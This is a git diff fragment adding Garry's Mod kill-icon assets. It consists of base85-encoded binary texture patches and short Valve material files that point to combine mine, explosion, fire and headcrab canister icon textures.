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

    Wgf(kI$z%zj%%n@Cg#y}?-%VdU6 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 literal 0 HcmV?d00001 diff --git a/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/materials/killicons/combine_mine_killicon.vmt b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/materials/killicons/combine_mine_killicon.vmt new file mode 100644 index 0000000..5ce61ad --- /dev/null +++ b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/materials/killicons/combine_mine_killicon.vmt @@ -0,0 +1,6 @@ +"UnlitGeneric" +{ + "$basetexture" "killicons/combine_mine_killicon" + "$vertexalpha" 1 + "$vertexcolor" 1 +} diff --git a/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/materials/killicons/combine_mine_killicon.vtf b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/materials/killicons/combine_mine_killicon.vtf new file mode 100644 index 0000000000000000000000000000000000000000..69b9a36a4ff13a6357560b7b2ec24ab80c07bb8b GIT binary patch literal 5696 zcmeHKeN0nV6h9C8M*XO*vu|O144p7DO-81ITTuIokx3TAle~vSQ3C2_HnD1)!I)Yl z`p29OZAO+Xx=tgR^CN0rAdN+QTAXzKw4vKpv<%;^R!{g9+cXJsRX78CB?j`Z4!f<`! zMSoz!F4nU${uJsHKQCO}mhb~BN@Fa<)3ifqU(F29)Jn2Xmiy25%K3FAN$ZN=rt!pI z+Vb>bPk4Ufk%u{|{TiSB$CsX8x8iJApZM)BAL_U!91r3X-4zTDbmpWzUyZL_dTmOl zyJX=xSC<-(N{m7u(!Bi6I4`s6mAuT@bai}La@THk{3HBE@}I%^UDB{U=2L;Okir}I z=wsc-@7E>WXYA$zBaGCI@HKUQM~TUtAI-+S64&*8sXwFMhbg^L0g#_+OoS z#iZ%KcO=C3@ZT?#(0(BKrbn+V2>? zN6s750Xz)chL^%}fE-%iG%Ae6p&pNN7ujFr3)w61a9uj)a&+nmnMos&1|FvjQ#X1p;^%aR{+?lFe5_w3ygzG)H zKL&n&50u}Ddz<|Cf;nH1y&O6`rs3mxlcZ0I37d2Pql5N47QB))|59#0H!Ic=P%(#R zbPs1=eB{#mSP!8-=peqk-uOY~ifUC~Cvto{bFszV=R@N;lcoGid-GAl&xB=3dZhju zs6Ua$8!?}CcpuaHil8WQH(rhVY+nb~1Ax{8H|bV+z;->enJ~I16*8(P_o?|!@umKM zdP|qL+_w;2s3)PK*>^3YG$+ItO=xW0-x5<5oJw*LSB$}WXrX&n24O`I%y0Oyo~*X3 z>npPS`1#3!Xw4rUH~3Ky)p}I5AF;*tuwEtki0i%nyI6md95_L-`O(#&|DKAmht<+- zroZROOL7<+)(1yb6&GJ^jVElz2Cmf3sMJn%Jf_Fv_n!(2Z2z{tu+=scT@2SloK;bb zKb?C=tB*M3D9?Q8Kh6Ki9euyHEMB4J zFK4w5xqKaLek_jlEp?^a>oordd;Xz5-^;zhTlMXsc#Hpocn|e>JhhLimxuMsUt&cZ AE&u=k literal 0 HcmV?d00001 diff --git a/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/materials/killicons/env_explosion_killicon.vmt b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/materials/killicons/env_explosion_killicon.vmt new file mode 100644 index 0000000..e226a4e --- /dev/null +++ b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/materials/killicons/env_explosion_killicon.vmt @@ -0,0 +1,6 @@ +"UnlitGeneric" +{ + "$basetexture" "killicons/env_explosion_killicon" + "$vertexalpha" 1 + "$vertexcolor" 1 +} diff --git a/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/materials/killicons/env_explosion_killicon.vtf b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/materials/killicons/env_explosion_killicon.vtf new file mode 100644 index 0000000000000000000000000000000000000000..5266ee4436bb0912f9525e34d8f8f115716f8ee5 GIT binary patch literal 5696 zcmeHLeQXp}5Px@cxjWMHD(RBa+R%opO46i=S~U&cHYLV0A#TFHhJPyU5hDqbvPA!;I2F@8j1Xsa$E2-`}6AWDr1LOIhG5vobCtp%=yJI9%~w@~*I5Njiv zzUFTFdmsB|elxRg-c@UlF%M(RjUN?13jVPo#$5QnXe}EbW%kGF2nA4j{P>lVb8VU! z!Y}IJ*ebn3Zh!7QAvL?dKOt~Qf1=oXV!J%IKT+w`wAJd=ahY?uKk@#3jLlIFjF3*u z-;9#0swURs1d{Bd>oRcw$5(S+{t)(K`~DN=0&LX_d;({$J)6f_cDA%`Zt3AGTNVIR zdU%_wB9>X8+Y>wB^eq7V8vPWW7zHPySxS!we=T}*5V`)`e zko0M+YUDOiw*EG@?O(^jZNc#7;PW5T^SEY@+w+@%_OD+IAjV5poH6S58=)Zpiy!&i z-sboRsXWq`cyg`>7LEnOZCSLQcq{t_+F@ec17Pu&I|?cN>u8erQi#X6ap2UJn)pt{ z#Ai3^mxU^d{qX@ChLVdJszjLh-EefWOqqh0G#Z7c5a%7n^~kqVpW7Wv!XIr}UE2iT z@&m+wM;Ud3%kqQ3*13a$?zhB5d*+=< z?hx_&wrhomuN~d=e6&yTrJABcDHAh;G0DT+`5!`R5nK%c9LiI=8Qc9St~V}pi+JF? z?w0id#a+a*80{yO$QTWGB|kvZX3P&x4)SJc!=3`sX7ZdM??OgioEeJ<~ z;fVEo7vs6R^ihDQz=Npb9f4QSR>H;J5aLpxd`!=8VSL#a9rbbjSutPZ%6~53oc@`` z6jj&H$yq*T`M8yMSky}I=ei1dKjCpN`*z}a+?qNju&Pe`{J7oYvG7}C?b*u>39?s~ zB&lexo?HY8JikPJV5^o<*GQo;LVu3>XMbZXKc!!`FkZm!xl-C-a$+}JvHXqGGyHAaZOi*F zP(F;UA*|qnfT*9IS!z8`b`6Z+^E>^bo}l|p2H#eBCc2UDY1bPe>wY5c7kItkz8|3% zevSTQ>6;n9F!JYm5LzAeBHBgGw$~~3JuntRHtqhhp(E`Arq@Ny&YF0aWk2S}jN9+z z_nwjRNCCQl^plW~z;Ae8`#E|st?y0!YuojAWhmNFh~!~oOhX<+VECzIB~0-cddKi% zMH;g4HWuC$T$vu%v}wmf;3S=2XD*57bJ=zGF=Kr}F&*4hEpQp~}K8DT0v&ydjw$zhyrCm-VqDuP+z=`78Cl)4xs}aK!(eeUm1fzd`(` z?V4gAfIe#4cn^fDed+k2H-vM)hs}w=d82;6HJ{7SjwE3U+3THh{w0|7m@k~R`jr_! zF9Pl55&XTwihq0`;$P`xVdWmzLZ5s9GkUPJXA0lXD7c*}m6AzM*5d31RoO-&@e1GmT#yE{lbx p#E)*WSa1ry_w$zv`_fodXP%Gg@;SR6gB%;3l9)~z?}M4<=MR$Ol2-r# literal 0 HcmV?d00001 diff --git a/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/materials/killicons/env_fire_killicon.vmt b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/materials/killicons/env_fire_killicon.vmt new file mode 100644 index 0000000..2fd7edc --- /dev/null +++ b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/materials/killicons/env_fire_killicon.vmt @@ -0,0 +1,6 @@ +"UnlitGeneric" +{ + "$basetexture" "killicons/env_fire_killicon" + "$vertexalpha" 1 + "$vertexcolor" 1 +} diff --git a/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/materials/killicons/env_fire_killicon.vtf b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/materials/killicons/env_fire_killicon.vtf new file mode 100644 index 0000000000000000000000000000000000000000..f98c40f6b61daec50130e42adf4346dbbaa004f6 GIT binary patch literal 5696 zcmeHLZ){Ul6u+-p=ptR~HHpw2IH@?Rq^tRcSJsIqqxFSNm?wtLt$* zchEsSQ5(tI*h=;G@-^B{)*d5-L0Ptm1hM6H~IMmu{2l3y&%Cl+*np%KR$FQ1XFBgS~3Rj{WPzE!%XW z^!1%gX(>{gD;U%8e?n?H?KKDNGs7AWnf)_m>pO~EvB8}{UXY(>SzmYX)8aEYAM%vh zKU2_(=_Ro};B*u36olRj}ANeJ}41V?~9QgZF8qb;i z=PEOmk4~G)FQv6}9iMCe&skezX zFt*%ebT}Mcu{RT;UKU4L9JGa1NTAopw_o4lmd4A|a z<}4@$lT_`)M990Wrn5h*X#&2<+DX&PM-)Gt zzm2TmdGg3BEEe&`!x8XLK0y$(;hU>|?|0|rA~+IUkNcg{9s8L-sLIPtBtYpmq#FDc z+6UMl`0=^U|9^k9C-9x{U>wYq4~yzA52@!tDNijw!eQ<23F7%sD&}mTx$f_7kM9aR z)zdKT2Y-RN3it~z@X_Z9X?#d`{Jz|6eA(9X2LSwZhl(HIlSLnQB))Ye)cgS4<$vBD zxJ&U~cGi-_^M+f-ZM^1k0L(27eFvy(mf9?CWmp%Sg>3J>Kx( zFC919Ur)BVCvd+Qv2Dkd^Ka}=Derm7%NR5BD!^7jFeN!hb<5v*xVk^Xl06NE5 z0A=uw+NDTUU~W0b=UnegiLC6ZP+n5+Cl7!Ne^qM3U9m>oFWP%Ad+vMve%uaz?VM+~ z7xRTLibK7L0qiG<^Dlp39l^Xifpaz<3NCr$4Ul4^Ucf(el2GnczLx8J>#j`?u)l7_ z_t|iy+t1+cZ*XZDaABEEhWpgrpVxC1^^h*iJN(P8C!@(>`8V7j#UuG7mRj1 SA4-iE#Cz}Wv*Eqp^nU|%g+=24 literal 0 HcmV?d00001 diff --git a/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/materials/killicons/env_headcrabcanister_killicon.vmt b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/materials/killicons/env_headcrabcanister_killicon.vmt new file mode 100644 index 0000000..fca9e33 --- /dev/null +++ b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/materials/killicons/env_headcrabcanister_killicon.vmt @@ -0,0 +1,6 @@ +"UnlitGeneric" +{ + "$basetexture" "killicons/env_headcrabcanister_killicon" + "$vertexalpha" 1 + "$vertexcolor" 1 +} diff --git a/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/materials/killicons/env_headcrabcanister_killicon.vtf b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/materials/killicons/env_headcrabcanister_killicon.vtf new file mode 100644 index 0000000000000000000000000000000000000000..f09c69f21722019fdf120c8e700f96fad30c9653 GIT binary patch literal 5696 zcmeHLeQZ-z6hGbeTst;e43EvQ36lvXZqCHe871stLZwEfkv<%8y255aN15TTi7p)< zM)41aAo_=vu}D-P1X=JUN?4IKfRV3617i&Tctd%D!^fOG&z!H)|+3jV=N02BVNk7e@##D|{Lms;^VJqy2Vw!znE2?sq; zaftcJV;sxV!!)lg6VLq-!m`v6%{SK_f%>$30QZo69Z>*_DFtX&-YRp8eJ#-i=Itg` zJseqXCJLM`&faQ7M^v@wF)jvt_!7XLy?ghnFsGh$%dA{r-W`j@EMMC_xwVBUJCKgL zaQQ3Sz`3=+xiu{(E~jNc^IEt2+jgK_>cVoDwX=5(yOauHw!t=6GO4h3jt$z=faEV< z>QjZGgnUN4I8J}rX_8izYYG3l@!@&D5nfwneE*w$nm43XUTHzS$v*kP2V>8&9v@@6 zoouj(-P5Mi>T@%^+WZR2%&RVd7KyH2^vE>wXh z)DhL~TYXA31YQz^;pkot{vrgJZRF4`R#eP%f_@N+KS}zcMPEv(B?3 zgs<2(p>l|80k)9-k#}_b^k%Pz)&&;&Hh*$w@g@8%=-tEI{0aZuv&Y1=$5hO>Lyiwl z@_Hegl*z4`@ef2t}q1Q0v)`w!hhvk6;bt@`@#^X&11 zyR)bsa{b5PJipuit}vW$4+T#IZq*H*XQT&>#5`$La|xIgt{*|Rg>_+iXe#vAS)YGW<2)Nkiiyim%|4jQ897g)%jY|#wwVl+`|A_T) zeP#4tO&I?@!SGf=ULNA-e~CYeG}K*qzpjn;yKs!RzDE9;r}2Jzu7T@^^(krp8tqa{ zp~8A*i09X!_NchOV|g3*`er?^d8cbD50QMTEX%&gpN%B3kT>Z$%)?@)*q3pZ#o7;K z@%o0>+obQeM*oa8zQ4o1CgSKGAbBNBXd$AYGQKd)qIaX3kTSGY2c49WYx`(Rb!l4gEi!Gbp7^4X|=1+%Xx zaa^8Fe&hbu<2B9b$C2=~DC^6%zI#DmS6tRH>W@czKc9j1I!*i@fDPC+aIV;vp7#vN zhwYoGG^`!=*8jl!J;YEN{=1QRCnf4yY?hL-DAb#X?^29+<{a$Hhv6Ta{RMas5Pdh% z>(nl`cy^wR^HWL#n!f;lzlmeji05}{7rTb6GeBlSe(E?QaQ$FBzEs2k!}^SXme&@) zFR8BK_0tMY-ft3r>PMlm61(pBIfXb7??-8!`qN}_dCO0{e--#FK-R`#SKpNw2NeG)7Rn}SCYhxl zr@t`-N23YU#;i$dfJxs(1!yW%Bw$1GvxSX+Oet)_=vK15&Uw49W**Hjj8=5v?d804 z@44su?m6e)Wwn?_f(ao(@Yvzu;fI(BVc>6n3r`|Meeg|5vH?DWL*c_{{A(Dhpy3M& zP3`-W)gP&DVo@CCL6a=8h(%B25DJhCWou5t3&5cIe^$g9s=KV 